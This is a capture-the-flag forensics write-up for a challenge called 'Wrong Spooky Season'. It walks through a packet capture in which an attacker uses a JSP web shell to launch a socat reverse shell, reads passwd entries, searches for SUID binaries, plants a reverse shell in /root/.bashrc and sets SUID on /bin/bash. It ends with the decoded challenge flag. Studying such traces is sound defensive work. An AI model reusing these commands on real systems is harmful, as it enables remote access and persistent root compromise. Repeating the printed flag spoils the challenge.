

Challenge: Wrong Spooky Season

Challenge Description:

"I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong." Now there is an internal breach in the 'Spooky Network' and you need to find out what happened. Analyze the network traffic and find how the scary ghosts got in and what they did.

Context:

- Just analyze a Pcap file with wireshark then decode a base64 string for the Flag

Notes:

- Tools:
 - Wireshark Or A tool to analyze Pcap files

Challenge:

- First open and download the file then, filter it down with the wireshark filter options.

192.168.1.180	HTTP	4518	HTTP/1.1 200	(text/html)
192.168.1.166	HTTP	282	GET /e4d1c32a56ca15b3.jsp?cmd=socat%20TCP:192.168.1.180:1337%20EXEC:bash	HTTP/1.1

- Looking at the Pcap we can rule-out HTTP packets as it is leading us towards TCP streams. The last HTTP packet shows just a TCP connection being made on '192.168.1.180: 1337' using Socat.
- Filtering the Pcap File down to just that shows a Tcp stream When we follow it we get this.

No.	Time	Source	Destination	Protocol	Length	Info
666	192.168.1.166	192.168.1.180	TCP	66	45416 → 1337 [ACK] Seq=1 Ack=4 Win=64256 Len=0	

```

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailng List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo '==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS' | GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS | rev > /dev/null && chmod +s /bin/bash
ls -lha
total 20K
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 .
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 ..
-rwxrwx--- 1 root root 1.8K Oct 8 00:04 pom.xml
drwxr-xr-x 3 root root 4.0K Oct 10 17:27 src
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 target
  
```

- Looking at this we can tell that there is a strings encoded using base64 that has been flipped in reverse
 - “echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo '==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS' | rev > /dev/null && chmod +s /bin/bash ls -lha”
- Decoding the string back to normal is pretty simple just need to reverse it then decode it, the command for this would look like:
 - “echo '==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS' | rev | base64 -d”
- Executing this will give you the Flag

Flag:

We get the flag : HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}